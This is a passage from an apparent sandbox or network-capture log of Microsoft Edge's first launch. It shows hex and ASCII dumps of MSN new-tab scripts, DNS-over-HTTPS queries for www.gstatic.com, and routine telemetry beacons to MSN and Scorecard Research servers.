65 74 72 79 54 61 67 3d 22 22 2c 74 68 69 73 2e 76 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 73 65 61 72 63 68 Data Ascii: PIAutoSuggestions=!1,this.isInputFocused=!1,this.actionElementFocused=!1,this.searchBoxTelemetryTags="",this.buttonTelemetryTag="",this.deepSearchButtonTelemetryTag="",this.inputTelemetryTag="",this.selectBoxOptionTelemetryTag="",this.value="",this.search
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 73 26 26 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 73 68 6f 77 43 6f 64 65 78 42 69 6e 67 41 53 55 70 73 65 6c 6c 26 26 28 74 68 69 73 2e 62 69 6e 67 41 53 55 70 73 65 6c 6c 54 65 6c 65 6d 65 74 72 79 54 61 67 3d 6e 65 77 20 70 2e 44 28 7b 6e 61 6d 65 3a 22 73 65 61 72 63 68 5f 62 69 6e 67 41 53 55 70 73 65 6c 6c 22 2c 62 65 68 61 76 69 6f 72 3a 6c 2e 77 75 2e 4e 61 76 69 67 61 74 65 2c 61 63 74 69 6f 6e 3a 6c 2e 41 77 2e 43 6c 69 63 6b 2c 63 6f 6e 74 65 6e 74 3a 7b 74 79 70 65 3a 6c 2e 75 48 2e 50 61 72 74 6e 65 72 4c 69 6e 6b 73 2c 68 65 61 64 6c 69 6e 65 3a 22 43 6f 64 65 78 20 42 69 6e 67 20 4c 69 6e 6b 22 7d 2c 6f 76 65 72 72 69 64 65 44 65 73 74 69 6e 61 74 69 6f 6e 55 72 6c 3a 22 62 69 6e 67 43 68 61 74 22 7d 29 2e 67 65 74 4d 65 74 61 64 61 74 61 54 Data Ascii: s&&this.options.showCodexBingASUpsell&&(this.bingASUpsellTelemetryTag=new p.D({name:"search_bingASUpsell",behavior:l.wu.Navigate,action:l.Aw.Click,content:{type:l.uH.PartnerLinks,headline:"Codex Bing Link"},overrideDestinationUrl:"bingChat"}).getMetadataT
2025-01-11 06:54:30 UTC	1376	IN	Data Raw: 68 66 72 6d 7b 77 69 64 74 68 3a 34 30 30 70 78 7d 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 33 34 30 70 78 7d 7d 24 7b 28 30 2c 45 2e 65 48 29 28 45 2e 4b 24 2e 63 33 29 7d 7b 23 73 72 63 68 66 72 6d 7b 77 69 64 74 68 3a 35 32 38 70 78 7d 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 34 36 38 70 78 7d 7d 24 7b 28 30 2c 45 2e 76 57 29 28 45 2e 4b 24 2e 63 34 2c 6e 75 6c 6c 29 7d 7b 23 73 72 63 68 66 72 6d 7b 77 69 64 74 68 3a 37 36 30 70 78 7d 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 37 30 30 70 78 7d 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 38 30 70 78 29 7b 2e 63 6f 72 65 2c 23 73 77 5f 61 73 7b 77 69 64 74 68 3a 33 34 33 70 78 7d 7d 60 29 29 2c 65 65 3d 55 2e 69 60 0a 66 6f 72 6d 2e 61 75 74 Data Ascii: hfrm{width:400px}.core,#sw_as{width:340px}}${(0,E.eH)(E.K$.c3)}{#srchfrm{width:528px}.core,#sw_as{width:468px}}${(0,E.vW)(E.K$.c4,null)}{#srchfrm{width:760px}.core,#sw_as{width:700px}}@media (max-width:480px){.core,#sw_as{width:343px}}`)),ee=U.i`form.aut
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 29 28 29 3f 47 2e 59 50 2e 66 6f 72 63 65 64 43 6f 6c 6f 72 4c 69 6e 6b 3a 47 2e 59 50 2e 73 65 6c 65 63 74 65 64 42 61 63 6b 67 72 6f 75 6e 64 7d 7d 23 73 77 5f 61 73 20 3e 20 2e 73 61 5f 61 73 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 6e 6f 6e 65 7d 23 73 77 5f 61 73 20 23 73 61 5f 75 6c 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 24 7b 28 30 2c 49 2e 59 29 28 29 3f 47 2e 59 50 2e 66 6f 72 63 65 64 43 6f 6c 6f 72 4c 69 6e 6b 3a 47 2e 59 50 2e 73 65 6c 65 63 74 65 64 42 61 63 6b 67 72 6f 75 6e 64 7d 7d 40 2d 6d 6f 7a 2d 64 6f 63 75 6d 65 6e 74 20 75 72 6c 2d 70 72 65 66 69 78 28 29 7b 2e 63 6f 72 65 20 2e 73 65 61 72 63 68 2d 62 74 6e 3a 3a 70 61 72 74 28 63 6f 6e 74 72 6f 6c 29 7b 62 Data Ascii: 00004000)()?G.YP.forcedColorLink:G.YP.selectedBackground}}#sw_as > .sa_as{border-top:none}#sw_as #sa_ul:not(:empty){border:1px solid ${(0,I.Y)()?G.YP.forcedColorLink:G.YP.selectedBackground}}@-moz-document url-prefix(){.core .search-btn::part(control){b
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 72 7b 63 6f 6c 6f 72 3a 23 46 0d 0a Data Ascii: r{color:#F
2025-01-11 06:54:30 UTC	4687	IN	Data Raw: 30 30 30 30 31 32 34 33 0d 0a 39 46 39 46 39 7d 2e 62 69 6e 67 2d 61 73 2d 75 70 73 65 6c 6c 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 39 32 39 32 39 7d 2e 63 62 61 73 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 34 37 39 45 46 35 7d 23 73 73 5f 74 61 62 5f 67 68 6f 73 74 20 2e 73 73 5f 74 61 62 5f 62 74 6e 7b 63 6f 6c 6f 72 3a 23 42 45 42 42 42 38 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 42 45 42 42 42 38 7d 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 30 2e 31 35 29 3b 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 3a 68 6f 76 65 72 2c 23 73 63 68 6d 73 6e 5f 73 73 62 74 6e 3a 66 6f Data Ascii: 000012439F9F9}.bing-as-upsell-container{background:#292929}.cbas-link{color:#479EF5}#ss_tab_ghost .ss_tab_btn{color:#BEBBB8;border:1px solid #BEBBB8}#schmsn_ssbtn{background-color:rgba(255,255,255,0.15);color:#FFFFFF}#schmsn_ssbtn:hover,#schmsn_ssbtn:fo
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 24 7b 28 65 2c 74 29 3d 3e 65 2e 6f 6e 56 6f 69 63 65 53 65 61 72 63 68 43 6c 69 63 6b 28 74 2e 65 76 65 6e 74 29 7d 20 40 6b 65 79 70 72 65 73 73 3d 24 7b 28 65 2c 74 29 3d 3e 65 2e 6f 6e 56 6f 69 63 65 53 65 61 72 63 68 43 6c 69 63 6b 28 74 2e 65 76 65 6e 74 29 7d 3e 24 7b 6b 65 2e 64 79 2e 70 61 72 74 69 61 6c 28 42 65 28 29 29 7d 3c 2f 62 75 74 74 6f 6e 3e 60 2c 4b 65 3d 6b 65 2e 64 79 60 20 24 7b 65 3d 3e 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 65 2e 6f 70 74 69 6f 6e 73 26 26 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 6f 70 74 69 6f 6e 73 2e 63 68 69 6c 64 45 78 70 65 72 69 65 6e 63 65 52 65 66 65 72 65 6e 63 65 73 57 43 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 56 6f 69 63 65 53 65 61 72 63 68 Data Ascii: 00004000${(e,t)=>e.onVoiceSearchClick(t.event)} @keypress=${(e,t)=>e.onVoiceSearchClick(t.event)}>${ke.dy.partial(Be())}</button>`,Ke=ke.dy` ${e=>{var t;return e.options&&(null===(t=e.options.childExperienceReferencesWC)\|\|void 0===t?void 0:t.VoiceSearch
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 67 28 29 29 7d 7d 22 3e 24 7b 0d 0a Data Ascii: g())}}">${
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 31 38 30 30 30 0d 0a 65 3d 3e 28 30 2c 64 2e 76 79 29 28 65 2e 70 72 6f 76 69 64 65 72 4e 61 6d 65 29 7d 3c 2f 61 3e 3c 2f 64 69 76 3e 60 29 7d 3c 2f 64 69 76 3e 60 2c 68 3d 65 3d 3e 65 2e 68 69 64 65 41 64 4c 61 62 65 6c 41 6e 64 41 64 43 68 6f 69 63 65 3f 22 61 64 2d 73 6c 75 67 2d 65 78 74 65 6e 64 65 64 22 3a 22 22 2c 75 3d 65 3d 3e 65 2e 65 6e 61 62 6c 65 42 6c 65 6e 64 49 6e 41 64 53 6c 75 67 53 74 79 6c 65 3f 22 62 6c 65 6e 64 2d 69 6e 2d 61 64 2d 73 6c 75 67 22 3a 22 22 2c 6d 3d 28 65 2c 74 29 3d 3e 7b 73 77 69 74 63 68 28 65 2e 65 6e 61 62 6c 65 42 6c 65 6e 64 49 6e 41 64 53 6c 75 67 53 74 79 6c 65 29 7b 63 61 73 65 20 32 3a 63 61 73 65 20 33 3a 63 61 73 65 20 34 3a 72 65 74 75 72 6e 22 22 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 28 Data Ascii: 00018000e=>(0,d.vy)(e.providerName)}</a></div>`)}</div>`,h=e=>e.hideAdLabelAndAdChoice?"ad-slug-extended":"",u=e=>e.enableBlendInAdSlugStyle?"blend-in-ad-slug":"",m=(e,t)=>{switch(e.enableBlendInAdSlugStyle){case 2:case 3:case 4:return"";default:return(

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.11.20	59134	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 11 Jan 2025 06:54:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9002fef2dda261c5-ORD alt-svc: h3=":443"; ma=86400
2025-01-11 06:54:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a3 00 04 8e fa be 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.11.20	60058	9.9.9.9	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	181	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:30 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=8
2025-01-11 06:54:30 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 08 00 04 8e fa bf a3 00 00 29 02 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.11.20	51548	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 11 Jan 2025 06:54:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9002fef2dff713a5-ORD alt-svc: h3=":443"; ma=86400
2025-01-11 06:54:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fa be 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.11.20	52387	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 11 Jan 2025 06:54:30 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9002fef2de8389f7-ORD alt-svc: h3=":443"; ma=86400
2025-01-11 06:54:30 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 b2 00 04 ac d9 02 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.11.20	63457	9.9.9.9	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	181	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:30 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=8
2025-01-11 06:54:30 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 08 00 04 8e fa bf a3 00 00 29 02 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.11.20	53873	9.9.9.9	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	233	OUT	POST /dns-query HTTP/1.1 Host: dns.quad9.net Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-11 06:54:30 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2025-01-11 06:54:30 UTC	181	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:54:30 GMT Connection: close Content-Length: 60 Server: h2o/dnsdist content-type: application/dns-message cache-control: max-age=8
2025-01-11 06:54:30 UTC	60	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 08 00 04 8e fa bf a3 00 00 29 02 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.11.20	51731	20.125.209.212	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:32 UTC	1152	OUT	GET /c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
2025-01-11 06:54:32 UTC	1096	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1736578471573&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f7b66e0f99774ee4994a9572d133a3c9&activityId=f7b66e0f99774ee4994a9572d133a3c9&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1FE748FF748B4324A916C66DF435B563&RedC=c.msn.com&MXFR=0136911D054E6BFC0E90846C04216AB7 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0136911D054E6BFC0E90846C04216AB7; domain=.msn.com; expires=Thu, 05-Feb-2026 06:54:32 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 11 Jan 2025 06:54:31 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.11.20	59765	3.167.152.61	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:32 UTC	920	OUT	GET /b?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:32 UTC	961	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 11 Jan 2025 06:54:32 GMT Location: /b2?rn=1736578471573&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0136911D054E6BFC0E90846C04216AB7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=15091701be8ac68bbcb80111736578472; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=15091701be8ac68bbcb80111736578472; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 3ee33f3f5dc316a655c4e9a665ccee16.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD51-P2 X-Amz-Cf-Id: XeHYzK9R2jTtQdeEKEp8S3izy5YpbxcclCe39cAFRrz7tQ_KVk7QXg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.11.20	64740	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:32 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578471572&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3841 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
